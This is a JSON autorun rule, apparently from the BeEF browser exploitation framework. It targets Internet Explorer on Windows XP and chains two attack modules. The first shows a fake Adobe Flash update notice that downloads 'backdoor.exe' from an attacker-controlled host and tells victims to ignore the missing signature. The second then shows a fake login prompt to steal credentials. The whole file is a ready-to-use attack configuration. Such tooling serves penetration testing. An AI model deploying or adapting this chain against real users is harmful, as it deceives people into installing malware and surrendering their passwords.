Path: blob/master/arerules/ie_win_missingflash-prettytheft.json
1146 views
{1"name": "Fake missing plugin + Pretty Theft LinkedIn",2"author": "antisnatchor",3"browser": "IE",4"browser_version": ">= 8",5"os": "Windows",6"os_version": "== XP",7"modules": [{8"name": "fake_notification_c",9"condition": null,10"options": {11"url": "http://172.16.45.1:3000/updates/backdoor.exe",12"notification_text": "The version of the Adobe Flash plugin is outdated and does not include the latest security updates. Please ignore the missing signature, we at Adobe are working on it. "13}14}, {15"name": "pretty_theft",16"condition": null,17"options": {18"choice": "Windows",19"backing": "Grey",20"imgsauce": "http://172.16.45.1:3000/ui/media/images/beef.png"21}22}],23"execution_order": [0, 1],24"execution_delay": [0, 5000],25"chain_mode": "sequential"26}2728